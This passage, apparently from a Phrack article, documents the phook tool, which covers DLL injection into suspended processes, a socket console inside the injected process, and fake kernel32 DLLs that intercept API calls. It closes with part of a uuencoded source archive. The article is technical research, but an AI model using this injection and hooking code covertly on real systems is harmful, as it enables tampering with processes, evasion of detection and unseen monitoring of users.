[process] --> [DLL_FAKE 3] --> [DLL_FAKE 2] --> [DLL_FAKE 1] --> [DLL_REAL]
    ^                                                               |
    |                               4                               |
    +---------------------------------------------------------------+

In the previous examples, all the DLL_FAKEs pass the control to the
corresponding DLL_REAL.

------[ 3.8 - Frequent problems

At the time of realizing PEB HOOKING [T.1] certain problems may happen,
next a table with the problems and the possible solutions is shown:

+-------------------------------------------------------------------------+
| Problem                       | Possible/s Solution/s                   |
|-------------------------------+-----------------------------------------|
| - The PEB HOOKING [T.1] fails | - Check if the necessary fields of the  |
|                               |   PEB [T.1] can be exchanged.           |
|                               | - Check if the correct permissions to   |
|                               |   change the needed IATs [R.3] are      |
|                               |   present.                              |
|-------------------------------+-----------------------------------------|
| - The execution of a process  | - Check that the PEB [R.1] is browsed   |
|   fails                       |   correctly.                            |
|                               | - Check if the IATs [R.3] of all the    |
|                               |   modules of the process have been      |
|                               |   correctly browsed.                    |
|                               | - check if the modified permissions in  |
|                               |   memory in the PEB HOOKING [T.1] have  |
|                               |   been restored.                        |
+-------------------------------------------------------------------------+
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------[ 4.- phook

phook is capable of realizing PEB HOOKING [T.1] (and other things) in a
simple manner. phook is a project of various modules:
    
    - InjectorDLL: Program that creates a suspended process and injects a
                   DLL in it.
    
    - Console Control: DLL that is injected in the process where we want to
                       do PEB HOOKING [T.1]. It allows to do PEB HOOKING
                       [T.1] and other tasks interactively by means of a
                       command console by sockets.
    
    - CreateExp: Program that generates from a DLL_REAL the source code
                 needed to realize a DLL_FAKE.
    
    - ph_ker32.dll: DLL_FAKE of kernel32.dll. ph_ker32.dll monotorizes the
                    access to the APIs: CreateFileA and CreateFileW [R.14].

------[ 4.1 - InjectorDLL

Program that creates a suspended process and injects a DLL into it. To 
inject the DLL C:\console.dll in the corresponding process C:\poc.exe:
    - To specify the type of process:
        - CONSOLE:
            - InjectorDLL.exe C:\console.dll -c C:\poc.exe
        - GUI:
            - InjectorDLL.exe C:\console.dll -g C:\poc.exe
    - Not to specify the type of process
        - InjectorDLL.exe C:\console.dll -u C:\poc.exe

InjectorDLL, with the parameter -u, usually detects if a process is GUI or
Console to know how to create it suspended (see section 2.3). The method
that we have created consists in creating the process with the API
CreateProcess and the flag CREATE_SUSPENDED [R.6]. Later WaitForInputIdle 
is called, if the wait fails then it is a Console process, otherwise it 
will be GUI.

    ------[ CODE
    
    CreateProcess
    (  
        program_name                          ,
        NULL                                  ,
        NULL                                  ,
        NULL                                  ,
        FALSE                                 ,
        CREATE_SUSPENDED | CREATE_NEW_CONSOLE ,
        NULL                                  ,
        NULL                                  ,
        pstart_inf                            ,
        ppro_inf
    )
    
    // It is necessary to check the correct creation of the process
    
    if ( WaitForInputIdle( ppro_inf->hProcess, 0 ) == WAIT_FAILED )
        // "Console process"
    else
        // "GUI process"
    
    ------[ END CODE

Once the type of process is known, we already know how to create it
suspended correctly (see section 2.3).

Note: the method may not always work, in some ocassion a
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      "Console process" will be detected as "GUI process".

The code that loads the DLL is put in a structure called LOADER_DLL_s
(see section 2.3). LOADER_DLL_s is loaded with the instructions in
assembler and the needed data. It is necessary to write in the created
process the structure LOADER_DLL_s and to call to CreateRemoteThread, 
giving it as entrypoint the start of the structure, so that the code of 
LOADER_DLL_s is executed.

Once the DLL is loaded, the thread is suspended from which LOADER_DLL_s is 
being executed and increments a flag to indicate it.

    ------[ CODE
    
    typedef struct LOADER_DLL_s
    {
        /* - CODE ------------------------------------------------------ */
        PUSH_ASM_t      push_name_dll;           /* PUSH "DLL_INJECT.DLL"*/
        CALL_ASM_t      call_load_library;       /* CALL  LoadLibraryA   */
        
        CALL_ASM_t      call_get_current_thread; /* CALL GetCurrentThread*/
        INC_BYTE_MEM_t  inc_flag;                /* INC [FLAG]           */
        char            PUSH_EAX;                /* PUSH EAX             */
        CALL_ASM_t      call_suspendthread;      /* CALL SuspendThread   */
        
        /* - DATA ------------------------------------------------------ */
        char            name_dll[MAX_PATH];      /* DLL_INJECT.DLL’\0’   */
        char            flag;                    /* [FLAG]               */
        
    } LOADER_DLL_t;
    
    ------[ END CODE

------[ 4.2 - Console Control

Console Control is the DLL that is injected in the process in which it is
wanted  to realize PEB HOOKING [T.1]. It allows to make PEB HOOKING [T.1]
and other tasks interactively by means of a command console by sockets. The
port that listens writes it in the file C:\ph_listen_ports.log, with the
nomenclature PID - PORT. Example of a process with PID 2456,
listening in the port 1234: 2456 - 1234.

At the moment you have the following list of commands:
    help                      - Shows this screen
    exit                      - Closes and unloads the console
    suspend                   - Pauses the execution of the program
    resume                    - Resumes the execution of the program
    showmodules               - Shows the list of modules
    load [param1]             - Loads in memory the specified library
                                in [param1]
    unload [param1]           - Unloads a library specified in memory in
                                [param1]
    pebhook [param1] [param2] - Realizes PEB HOOKING [T.1] over a dll
                                [param1]: Name of the original dll
                                [param2]: Path to the DLL_FAKE

It is easy to understand each of the commands that our console admits, so
we will explain how "showmodules", "pebhook" and "suspend" work.

The commando "showmodules" does a search in the PEB [R.1] of the loaded
modules without using APIs.

pebhook is the command that realizes all the process of PEB HOOKING  (see
section 3).

If PEB HOOKING [T.1] over kernel32.dll is wanted to be done, using as
DLL_FAKE "C:\phook\bin\windows_xp_sp2\ph_ker32.dll", for the OS Windows
XP SP2, only it is necessary to send the command:
    - pebhook kernel32.dll c:\phook\bin\windows_xp_sp2\ph_ker32.dll
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The command suspend is capable of suspending the execution of the main
thread of the process. The TID of the main thread is obtained browsing
the THREADENTRY32 [R.13] of the system till it reaches the first of
the process:
    
    ------[ CODE
    
    BOOL GetMainThreadId( DWORD * thread_id )
    {
        HANDLE        hThreadSnap;
        THREADENTRY32 th32;
        BOOL          return_function;
        DWORD         process_id;
        
        process_id      = GetCurrentProcessId();
        hThreadSnap     = INVALID_HANDLE_VALUE;
        return_function = FALSE;
    
        hThreadSnap = \
            CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, process_id );
        
        if( hThreadSnap == INVALID_HANDLE_VALUE )
        {
            ShowGetLastErrorString
                ( " GetMainThreadId() - CreateToolhelp32Snapshot()" );
            return FALSE;
        }
        
        th32.dwSize = sizeof( THREADENTRY32 );
        if( !Thread32First( hThreadSnap, & th32 ) )
            ShowGetLastErrorString( "GetMainThreadId() - Thread32First()");
        
        do
        {
            if ( th32.th32OwnerProcessID == process_id )
            {
                * thread_id     = th32.th32ThreadID;
                return_function = TRUE;
            }
            
        }
        while
        (
            Thread32Next( hThreadSnap, & th32 ) && return_function != TRUE
        );
        
        CloseHandle( hThreadSnap );
        
        return return_function;
    }
    
    ------[ END CODE

 
------[ 4.3 - CreateExp

CreateExp is a program that generates the source code needed to realize a
DLL_FAKE from a DLL_REAL. At the moment it creates the files .c and .def,
to use with mingw.

To create a DLL_FAKE of kernel32.dll it is needed to execute:
    - CreateExp C:\WINDOWS\SYSTEM32\KERNEL32.DLL C:\ph_ker32

If it has worked well the files C:\ph_ker32.c and C:\ph_ker32.def will
be created.

ph_ker32.c contains the definitions of the exportations of kernel32.dll
and jumps automatically to the originals.
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ph_ker32.def contains the alias and the names of the exportations of
kernel32.dll.

By default the exportations of DLL_FAKE will jump to the corresponding
exportation of DLL_REAL.

------[ 4.3.1 - Forwarder DLL

CreateExp tranforms the Forwarder DLL [R.3] into exportations, so
PEB HOOKING of a function Forwarder can be done.

Example: kernel32.dll has as Forwarder HeapAlloc that goes to the
         exportation RtlAllocateHeap of NTDL.DLL. When a module imports
         HeapAlloc from kernel32.dll, the Loader of win32 automatically
         puts the address of the exportation of NTDLL.DLL and never
         passes through kernel32.dll:

                    CALL HeapAlloc
        [process] ------------------> [NTDLL.DLL]
            ^               0               |
            +-------------------------------+
                            1
            
If a DLL_FAKE of kernel32.dll is created with CreateExp, the flow will be:
   
            CALL HeapAlloc      (DLL_FAKE)
[process] ------------------> [KERNEL32.DLL] --------> [NTDLL.DLL]
    ^              0                            1         | 
    +-----------------------------------------------------+
                             2
                             
Of such form that we can implement a hook of HeapAlloc (kernel32.dll).

------[ 4.4 - ph_ker32.dll

ph_ker32.dll was created to do PEB HOOKING [T.1] to kernel32.dll;
monotorizes the access to the APIs "CreateFileA" and "CreateFileW" [R.14],
and when it is called to any other automatically it jumps to the original.

In order to easen the jump to an API a JMP macro has been created, it has
to pass the name of the DLL and the ordinal of the exportation (to see the
JMP macro see section 4.4.2).

ph_ker32.c created with CreateExp (JMP macro has been omitted):
    
    ------[ CODE
    
    #define FAKE_LIB "ph_ker32.dll"

    DLLEXPORT void _ActivateActCtx ( void )
    {
        JMP( FAKE_LIB, 1 );
    }
    
    DLLEXPORT void _AddAtomA ( void )
    {
        JMP( FAKE_LIB, 2 );
    }
    
    DLLEXPORT void _AddAtomW ( void )
    {
        JMP( FAKE_LIB, 3 );
    }
    
    DLLEXPORT void _AddConsoleAliasA ( void )
    {
        JMP( FAKE_LIB, 4 );
    } 
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    ....
    
    ------[ END CODE
    

    It is necessary to remember that once PEB HOOKING [T.1] has been made,
    kernel32.dll will now be named ph_ker32.dll, for that reason
    ph_ker32.dll in the symbolic constant FAKE_LIB is indicated. 

    ph_ker32.def created with CreateExp:

    ------[ CODE
    
    LIBRARY    default
    EXPORTS    
    ActivateActCtx=_ActivateActCtx           @ 1
    AddAtomA=_AddAtomA                       @ 2
    AddAtomW=_AddAtomW                       @ 3
    ...
    
    ------[ END CODE

    By reasons of clarity the implementation of the APIs CreateFileA and
    CreateFileW [R.14] have been put in the file owns.c. When a call is
    made to CreateFileA and to CreateFileW [R.14] it is written the
    parameter lpFileName in the file C:\CreateFile.log
    
    owns.c:
            
    ------[ CODE
    
    #define FILE_LOG C:\CreateFile.log
    
    DLLEXPORT
    HANDLE _stdcall _CreateFileW
    (
        LPCWSTR lpFileName,
        DWORD dwDesiredAccess,
        DWORD dwShareMode,
        LPSECURITY_ATTRIBUTES lpSecurityAttributes,
        DWORD dwCreationDistribution,
        DWORD dwFlagsAndAttributes,
        HANDLE hTemplateFile
    )
    {
        char   asc_str[MAX_PATH];
        
        if ( UnicodeToANSI( (WCHAR *) lpFileName, asc_str ) == 0 )
            CreateFileLogger( asc_str );
        
        return CreateFileW( 
            lpFileName,
            dwDesiredAccess,
            dwShareMode,
            lpSecurityAttributes,
            dwCreationDistribution,
            dwFlagsAndAttributes,
            hTemplateFile );
    }
    
    DLLEXPORT
    HANDLE _stdcall _CreateFileA
    (
        LPCSTR lpFileName,
        DWORD dwDesiredAccess,
        DWORD dwShareMode,
        LPSECURITY_ATTRIBUTES lpSecurityAttributes,
        DWORD dwCreationDistribution,
        DWORD dwFlagsAndAttributes,
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        HANDLE hTemplateFile
    )
    {
        char   asc_str[MAX_PATH];
        
        CreateFileLogger( lpFileName );
        
        return CreateFileA(
            lpFileName,
            dwDesiredAccess,
            dwShareMode,
            lpSecurityAttributes,
            dwCreationDistribution,
            dwFlagsAndAttributes,
            hTemplateFile );
    }
    
    static void
    CreateFileLogger( const char * file_to_log )
    {
        HANDLE file;
        DWORD  chars;
        
        file = \
            CreateFileA
            (
                FILE_LOG                            ,
                GENERIC_WRITE    | GENERIC_READ     ,
                0                                   ,
                NULL                                ,
                OPEN_ALWAYS                         ,
                0                                   ,
                NULL
            );
            
        if ( file != INVALID_HANDLE_VALUE )
        {        
            if ( SetFilePointer( file, 0, NULL, FILE_END ) != -1 )
            {
                WriteFile
                (
                    file, file_to_log, strlen( file_to_log ), &chars, NULL
                );
                WriteFile( file, "\x0D\x0A", 2, &chars, NULL );
            }
            CloseHandle( file );
        }
    }
    
    ------[ END CODE

------[ 4.4.1 - Stack problems

When it is wanted to directly pass the control to an API which prototype
is not known a generic form, it is necessary to pass it the intact stack
to the original API. This is gotten in mingw with the option of the
compilator -fomit-frame-pointer [R.15] and a JMP (ASM) to the original
API.

The functions that have been implemented have to be put in the prototype
and must be of the type _stdcall. The functions of type _stdcall have a
different syntax in the file .def:
    - Name_exportation=Alias@arguments * 4   @ Ordinal

Example of file .def with the APIs of type _stdcall CreateFileA and
CreateFileW [R.14] (both have seven arguments):
    
    ------[ CODE
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    LIBRARY    ph_ker32
    EXPORTS
    
    ; Name Exp | Alias      | No Args * 4    | Ordinal Windows XP SP2
    CreateFileW=_CreateFileW@28              @ 83
    CreateFileA=_CreateFileA@28              @ 80
    
    ------[ END CODE

The functions of type _stdcall should not be compiled with
-fomit-frame-pointer [R.15] option.

------[ 4.4.2 - Registry problems

Not only is necessary to pass the stack intact to an exportation, some
times the exportations directly use the values of the registers. Before
passing the control to the original exportation it is necessary to let the
registers intact, this is accomplished inserting in the code the
instructions PUSHAD and POPAD:
    [PUSHAD] [ CODE NEEDED TO JUMP TO THE EXPORTATION ] [POPAD]

An example of exportation that directly uses the registers is _chkstk of
NTDLL.DLL:

_chkstk in NTDLL.DLL (WINDOWS XP SP2):
    
    ------[ CODE
    
    7C911A09 >/$ 3D 00100000    CMP EAX,1000
    7C911A0E  |. 73 0E          JNB SHORT ntdll.7C911A1E
    7C911A10  |. F7D8           NEG EAX
    7C911A12  |. 03C4           ADD EAX,ESP
    7C911A14  |. 83C0 04        ADD EAX,4
    7C911A17  |. 8500           TEST DWORD PTR DS:[EAX],EAX
    7C911A19  |. 94             XCHG EAX,ESP
    7C911A1A  |. 8B00           MOV EAX,DWORD PTR DS:[EAX]
    7C911A1C  |. 50             PUSH EAX
    7C911A1D  |. C3             RETN
    7C911A1E  |> 51             PUSH ECX
    7C911A1F  |. 8D4C24 08      LEA ECX,DWORD PTR SS:[ESP+8]
    7C911A23  |> 81E9 00100000  /SUB ECX,1000
    7C911A29  |. 2D 00100000    |SUB EAX,1000
    7C911A2E  |. 8501           |TEST DWORD PTR DS:[ECX],EAX
    7C911A30  |. 3D 00100000    |CMP EAX,1000
    7C911A35  |.^73 EC          \JNB SHORT ntdll.7C911A23
    7C911A37  |. 2BC8           SUB ECX,EAX
    7C911A39  |. 8BC4           MOV EAX,ESP
    7C911A3B  |. 8501           TEST DWORD PTR DS:[ECX],EAX
    7C911A3D  |. 8BE1           MOV ESP,ECX
    7C911A3F  |. 8B08           MOV ECX,DWORD PTR DS:[EAX]
    7C911A41  |. 8B40 04        MOV EAX,DWORD PTR DS:[EAX+4]
    7C911A44  |. 50             PUSH EAX
    7C911A45  \. C3             RETN

    ------[ END CODE

------[ 4.4.3 - The JMP macro

The JMP macro is necessary since not always all the DLL (file .h)
declarations are had in its header. With the JMP macro the address of
the exportation is obtained with GetProcAddress [R.12] in runtime.

    ------[ CODE

    unsigned long tmp;
    
    #define JMP( lib, func )        \
       asm ( "pushad" );           \
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       asm                           \
       (                             \
           " push edx             \n"      \
           " push %1              \n"      \
           " call eax             \n"      \
           " pop edx              \n"      \
           " push %2              \n"      \
           " push eax             \n"      \
           " call edx             \n"      \
           " mov %4, eax          \n"      \
           " popad                \n"      \
                                              \
           : :                                \
           "a" (GetModuleHandle) ,         \
           "g" (lib)             ,         \
           "g" (func)            ,         \
           "d" (GetProcAddress)  ,         \
           "g" (tmp)                       \
        );                                   \
       asm ( "jmp %0" : : "g" (tmp) );

    ------[ END CODE

The code is for mingw [R.16] with the compiler option -masm=intel.

------[ 4.4.4 - Versions

We have included in phook various versions of ph_ker32 for the systems:

    - Windows XP SP2         v5.1.2600
    - Windows Server 2003 R2 v5.2.3790
    - Windows Vista          v6.0.6000

Source code in ph_ker32/SO and binaries in bin/OS.

------[ 4.5 - Using phook

Lets imagine that we want to do PEB HOOKING [T.1] to kernel32.dll with
ph_ker32.dll, the programa poc.exe has been chosen for the example (comes
in the folder bin\ of phook).

Steps to follow:

1.- Execute InjectorDLL indicating a program to execute and the DLL of the
    console that will be injected in the process:
        - InjectorDLL.exe console.dll -u poc.exe
    The process will be hold in suspended state and there will be a socket
    listening in the port indicated in the file C:\ph_listen_ports.log
    
        C:\phook\bin>InjectorDll.exe console.dll -u poc.exe
          ________________________________________________________________
         |                       InjectorDLL v1.0                         |
         |                                                                |
         | [Shearer]   eunimedesAThotmail.com                             |
         | Dreg        DregATfr33project.org                              |
         | -------------------------------------------------------------- |
         |                   http://www.fr33project.org                   |
         |________________________________________________________________|
        
         Showing injection data .....
             Program to inject : poc.exe
             Library to inject: console.dll
        
         [OK]   - CONSOLE.
         [OK]   - Create process:
             [INFO] PID:       0x0960
             [INFO] P. HANDLE: 0x000007B8
             [INFO] TID:       0x0AE0



phrack65/10.txt Fri Jul 01 13:24:52 2022 20

             [INFO] T. HANDLE: 0x000007B0
         [INFO] - Injecting DLL...
             [OK]   - Allocate memory in the extern process.
             [INFO] - Address reserved on the other process: 0x00240000
             [INFO] - Space requested: 306
             [OK]   - Creating structure for the dll load.
             [OK]   - Writing structure for the dll load.
             [OK]   - Creating remote thread.
             [INFO] - Thread created with TID: 0x0B28
             [INFO] - Attempt: 1
             [INFO] - Thread has entered suspension mode.
             [OK]   - Injection thread ended.
             [OK]   - Memory in remote thread freed.
         [OK]   -  DLL injected.
        
         [OK]   -  Injection ended.

2.- It is necessary to connect with a client of type netcat to the open
    port, in this case: 1234.
    
    C:\>nc 127.0.0.1 1234
      ________________________________________________________________
     |                        Phook Prompt v1.0                       |
     | [Shearer]   eunimedesAThotmail.com                             |
     | Dreg        DregATfr33project.org                              |
     | -------------------------------------------------------------- |
     |                   http://www.fr33project.org                   |
     |________________________________________________________________|
    
    
     ph > help
      _________________________________________________________________
     |                       Phook Prompt v1.0                         |
     |                                                                 |
     | Command list:                                                   |
     | --------------------------------------------------------------- |
     | help                      - Shows this screen                   |
     | exit                      - Closes and unloads the console      |
     | suspend                   - Pauses the programs execution       |
     | resume                    - Resumes the programs execution      |
     | showmodules               - Shows the modules list              |
     | load [param1]             - Loads in memory the library         |
     |                             especified in [param1]              |
     | unload [param1]           - Unloads a librery in memory         |
     |                             especified in [param1]              |
     | pebhook [param1] [param2] - Performs PEB Hook over a dll        |
     |                             [param1]: Name of the original dll  |
     |                             [param2]: Path to the DLL hook      |
     |_________________________________________________________________|

3.- PEB HOOKING [T.1] to kernel32.dll is realized with the ph_ker32.dll:
    ph > pebhook kernel32.dll C:\phook\bin\windows_xp_sp2\ph_ker32.dll

4.- The command resume is sent so that the execution of the process
    begins.
    
    ph > resume
    ph > 
    C:\phook\bin> 

5.- poc.exe creates the files in C:\
    - file
    - file2
    - file3

6.- ph_ker32.dll registers the successful calls to the APIs CreateFileA
    and CreateFileW [R.14] in the file C:\CreateFile.log

7.-
    C:\>more CreateFile.log
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    C:\file1
    C:\file2
    C:\file3
    
    
------[ 4.5.1 - DLL MINIFILTER

phook allows to realize DLL MINIFILTER (see section 3.7) by a simple
manner. It only has to realize PEB HOOKING [T.1], with the command
pebhook, over the name of the DLL_FAKE, that is the one that had
DLL_REAL.

Supposing that we have two DLL_FAKEs:
    - ph_ker32_1.dll: Monotorizes access to the APIs CreateFile [R.14].
    - ph_ker32_2.dll: Monotorizes the access of the API ReadFile [R.17].

To do DLL MINIFILTER it is as easy as:
    
    C:\>nc 127.0.0.1 1234
      ________________________________________________________________
     |                        Phook Prompt v1.0                       |
     | [Shearer]   eunimedesAThotmail.com                             |
     | Dreg        DregATfr33project.org                              |
     | -------------------------------------------------------------- |
     |                   http://www.fr33project.org                   |
     |________________________________________________________________|
    
    
     ph > pebhook kernel32.dll C:\phook\bin\windows_xp_sp2\ph_ker32_1.dll
     ph > pebhook kernel32.dll C:\phook\bin\windows_xp_sp2\ph_ker32_2.dll

Flow of a call of the process to kernel32.dll:
               0                    1                   2
    [process] --> [ph_ker32_2.dll] --> [ph_ker32_2.dll] -> [kernel32.dll]
        ^                                                      |
        |                          3                           |
        +------------------------------------------------------+
     

------[ 4.6 - Frequent problems

Besides of the problems in the section 3.8, there are others:

+-------------------------------------------------------------------------+
| Problem                       | Possible/s Solution/s                   |
|-------------------------------+-----------------------------------------|
| - DLL_FAKE compilation fails  | - Check that the functions that go      |
|                               |   directly to DLL_REAL are not repeated |
|                               |   and are implemented.                  |
|                               | - Check that the implemented functions  |
|                               |   (that must be of _stdcall type) are   |
|                               |   well defined in the .def file         |
|                               |   (see section 4.4.1).                  |
|-------------------------------+-----------------------------------------|
| - The execution of the        | - Check that the functions that go      |
|   process fails               |   directly to DLL_REAL have been        |
|                               |   compiled with the option              |
|                               |   -fomit-frame-pointer (see section     |
|                               |    4.4.1).                              |
|                               | - Check that the implemented functions  |
|                               |   are of _stdcall type.                 |
|                               | - Check that DLL_FAKE have been created |
|                               |   from the DLL_REAL and not another.    |
|                               | - Check if InjectorDLL has correctly    |
|                               |   detected the real type of the process |
|                               |   (GUI or CONSOLE).                     |
|-------------------------------+-----------------------------------------|
| - It is not possible to       | - Check that the port 1234 is open      |
|   connect to the console      |   before doing PEB HOOKING [T.1].       |
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|                               | - Check firewall blockings...           |
|                               | - Check that the full path of           |
|                               |   console.dll has been indicated in     |
|                               |   InjectorDLL.                          |
|-------------------------------+-----------------------------------------|
| - InjectorDLL does not work   | - Check that the privilegies to inject  |
|                               |   a DLL were obtained                   |
|                               |   (CreateRemoteThread..)                |
|                               | - Check anti-virus blocking...          |
|-------------------------------+-----------------------------------------|
| - CreateExp does not work     | - Check that the path of DLL_REAL ia a  |
|                               |   correct PE32 and that the EXPORT      |
|                               |   DIRECTORY is not corrupted [R.3].     |
+-------------------------------------------------------------------------+

Some other problems may exist due to programming and/or design failures.

------[ 5.- TODO

At the moment we are trying to:
    - Realize PEB HOOKING [T.1] before the execution of:
        - TLS Table and DLLMain [R.3].
    - Create debug files and configuration for the console.
        - Rules for the repair of IATs [R.4].
        - customized list of listening ports.
        - ...    
    - Improve InjectorDLL:
        - Automatic detection of "GUI process" and "Console process".
      
      
------[ 6.- Testing

Tests with phook in different versions of Windows and  other programs
have been made.

Windows:
    - Windows XP SP2         v5.1.2600
    - Windows Server 2003 R2 v5.2.3790
    - Windows Vista          v6.0.6000

And theoretically it would have to work in Windows 2000, but we have
not verified it.

Programs:
    - Microsoft Word 10.0.2627.0
    - Regedit        5.1.2600.2180
    - Notepad        5.1.2600.2180
    - Calc           5.1.2600.0
    - CMD            5.1.2600.2180
    - piathook       1.4
    - pebtry         Beta 5
    - pe32analyzer   Beta 2

------[ 7.- Advantages and possibilities

The biggest advantage of PEB HOOKING [T.1] over other hooking methods is
that it only has to be applied once. At the moment that a hook to a DLL
has been done, any module that is loaded will automatically have in his
IAT [R.3] the exports that use DLL_FAKE. The rest of the modules have to
apply the hook every time that the module is loaded.

Other advantages of using PEB HOOKING [T.1]:
    
    - A search in the PEB (using the field BaseDllName) to find 
      DLL_REAL, will arrive at DLL_FAKE.
      
    - PEB HOOKING is a more stable method for the OS than others in ring0.
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    - Some packers do not detect PEB HOOKING [T.1] as it is not a well
      documented method.
    
    - It is not necessary to change the behavior of the APIs that work
      with modules. When a module tries to obtain the handler of the
      DLL_REAL, will automatically obtain the handler DLL_FAKE.

    - Possibility of creating DLL MINIFILTER (see section 3.7).
    
    - PEB HOOKING of a exportation Forwarder [R.3] can be done without
      making PEB HOOKING to the Forwarder DLL.

The spectrum of possibilities that the PEB HOOKING [T.1] method allows
and phook is quite ample, next we raised some examples:
    
    - Monotorize/virtualize the access to the registry of a process.
        - POC [R.18]:
            1.- Use the tool CreateExp (see section 4.3) on
                "advapi32.dll".
            2.- Based on what is desired to do, it is necessary to
                implement the monitorization/virtualization in the next
                APIs:
                - RegCloseKey
                - RegCreateKeyA/RegCreateKeyW
                - RegCreateKeyExA/RegCreateKeyExW
                - RegDeleteKeyA/RegDeleteKeyW
                - RegLoadKeyA/RegLoadKeyW
                - RegOpenKeyA/RegOpenKeyW
                - RegOpenKeyExA/RegOpenKeyExW
                - RegQueryValueA/RegQueryValueW
                - RegQueryValueExA/RegQueryValueExW
                - RegReplaceKeyA/RegReplaceKeyW
                - RegRestoreKeyA/RegRestoreKeyW
                - RegSaveKeyA/RegSaveKeyW
                - RegSaveKeyExA/RegSaveKeyExW
                - RegSetValueA/RegSetValueW
                - RegSetValueExA/RegSetValueExW
                - RegUnLoadKeyA/RegUnLoadKeyW
                ...
    
    - Monotorize/virtualize conections.
        - POC [R.20]:
            1.- Use the tool CreateExp (see section 4.3) on
                "ws2_32.dll".
            2.- Based on what is desired to do, it is necessary to
                implement the monitorization/virtualization of the
                following APIs:
                - accept
                - bind
                - closesocket
                - connect
                - listen
                - recv
                - recvfrom
                - send
                - sendto
                - socket
                - WSAAccept
                - WSAConnect
                - WSARecv
                - WSARecvFrom
                - WSASend
                - WSASendTo
                - WSASocketA/W
                ...
    
    - Syscall Proxy de ficheros:
        - POC [R.19]:
            1.- Use the tool CreateExp (see section 4.3) on
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                "kernel32.dll".
            2.- Based on what is desired to do, it is necessary to
                implement the redirection of the following APIs:
                - CreateFileA/CreateFileW
                - CreateFileExA/CreateFileExW
                - ReadFile
                - ReadFileEx
                - WriteFile
                - WriteFileEx
                ...
    
    - ... and free your mind ;-)

------[ 8.- Conclusion

If it is necessary to do a hook to an API/exportation, any actual method
may be used. But if it is necessary to monitorize or virtualize the access
to various APIs/exportations with phook it is a lot simplier the
implementation, as it is only necessary to program the functionality of the
APIs/exportations.

Besides, it is a method oriented to the reverse engineering of software and
malware protection systems, as it difficults alternative methods of
searching the exportations and elimination of hooks.
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------[ 12.- Source Code

Message-ID: <wc2007101518005420031419875@localhost>
MIME-Version: 1.0
Content-Description: "UU encode of phookt˜1.gz by Wincode 2.7.3"
Content-Type: application/X-gzip; name="phookt˜1.gz"
Content-Transfer-Encoding: X-uuencode
Content-Disposition: attachment; filename="phookt˜1.gz"

begin 644 phookt˜1.gz
M’XL("(>.$T<‘‘’!H;V]K+G1A<@#LW7E‘5=7>-_#-‘145!14-%?5H#C@AHR(@
MH’"<!V10RQ’A("@"<@Z*IJ4B)B%EDYIEBEI9F9IISH6SEI::8UII9:)0FI&1
MJ;SK]UW[L’X>Z][[O/?>YWW_:#_W>#[[>WY[[7GMO0_0DYF2D3&IB_9?’8Q&
M8[=NW8SB70P^=N_ZB*]/-Y^‘;CY=?0.ZB?%‘WT!1’ZC]/?RW![G_QZ>F_Q>/
M@?_)_N_:U8_V?S=_W[_W___&H/9_8D:Z)2/-[)V4EJ;]9X=_M/]]‘_U\_0*Z
M5NW_0’’BBQ&_0+’_?;2_A__V,.CQ19JC>’<2K\I*3=NFYQ’:/Q]FBU?=%COJ
M:IMK’FNYS6’@L99Q*:D68V96QH2LA,G&Q(3T]‘RK<;S9F)6=;DQ--T8-B35.
MSD@R>]>I4ZNUWD:T2=,&.CAK&84-^FB#JVO7Q,)<TJJWK.U@"-):ZPMB$"\W
M>MD6+"<--LCE=L#RZ\/&ZABY]TYUS5$>?9A._*._RS=U‘FC:O!K_>"53#-I_
M?/"VFG.LXOVU1_4%:FU;"36,$__S3DJP)LBU4-O"2]7H<;%WEBQTJT,;E7:,
M>’5XJ"[">[S%0B[&#/YBE:F]5&I/WS:9XN4L7D%_-E]S6D:BOHUFZ^L0\5!=
M+V^+-6$\->4D]M8B@>KB/>K!.H.S7F>Q9NTT5-.TE:+&2;SW=WBH3OM[^(\,
M\?E7A@^+S2US*9CEDEOIX#KO71’FSVSM5##:K6"0<_ZHUL[Y+JU+KM03Z4%1
M1C4O[?4MSKOM^E)QWE[KR(*&VKB<M+R35E-!,S>ATCJ+^)!;ZM3]BZS&!8YY
MQ=9?*H_+:H26TD)K6RW?O77)4G%P^Y[,QT>’G-‘SE%A%EE>9[69K/KNW[VW4
MWRPTEX\<,W;T7A>-QD7];%O]:BH5\TD[A%5;38M3,LE3?’J[J:9=:UM96;E(
M+F3A5*UP5SLJ^A>6S[>RY’8+L?H]^/*=$LFU#-%BR76A0YJ+"’V+KXT52>&’
MPK;VXW?0_/*OY)9Y;*?I"TS.^7%BFPYL[93OU+IDEICX2&Z%0^/B?7*R^.U5
M]3MD/=6*:63](*K?Q[:OV’^CKTT0ZV@;ITF##IGN4F.’3!7RK5R^W91O9?*M
MA-X*3"[4[A71;FZ94[ZI(G=6A9;=XE!4:R<M&K.GC]L]0A-\7RF&:S4<:"HW
MBC?8IKJ;.^NN/I513?5S(S75"=HDIO+\J-9N8F+QYB+F+-Z<"TTEXLU)GV2!
M:%SL";04H5IZB[7TM(;YT[34A)HVSX!I/6G:%#7M)#5MZ>""/UN$@@<68:NC
M:B9?-=.:-5-#0&Z\[X_LPQ9WIFJ*]&KJU?6//.@C!_41=:1BBQ68[MH*]‘_Z
MB0]LF[*FONM*_<0R%KH?0-/BLU‘#^ZP1?>8B/XN_*UIQ=*HG]F"!J8*UG)L3
MBDE*,$E;D13$.Q=$A#H<U^>E/JQ)<RC.R3>5B"V")JAG,.H[>V\S?6>7%9C<
M*7A?!B@OH^#6_<K*?%.YF)C&OL?8S0(1Q-\LB’‘/Z>5N;4#;8J7:J)^[TVJ5
MY^:X:]DNATR7L(,_H/49[4*EM*VH@0C,L-A3;"#’W%DNK’B^J+#MC7@QZ^_%
M;"SC"^)=!‘L]Y;;QDY\X]G*CW:POK".67BR%_T/%-U6QOBYG/&5QE+]3H3@&
MM-(7"TP>U&J,>[Z;6!2Y>RX5FBM&CADMMWV0?F85>-K.$7T[SK‘%%>JDN:@V
MR:X&M$+GL’+MQ&’#SL>A545+6)%!%)6<=A>;1FS(6>5Z<6M5/)$5G[9M4!?L
MFIM‘&6T2TR7Q;T&$1XCI;G9U!"6VH$(/OJ=‘D_4AIDM60^G1W%DEFC4U=];W
MFC6Q0$P1X9EONE@0+R;]GMS+LR!>3’51‘)]Z5’U*[N5A^]0#GQJK/B7W,MH^
M-8JEQP’:A-:LKUJS1?6KUJS‘=$X_Z’-$D;.[*+>=DH6FM52<U:2JW_JMB;X+
MRO5#^0=;<%-LP8?WB1?FLP9;T!_[Y.;#^\21%=6E?=*S‘>V32[FS+HGCU?9)
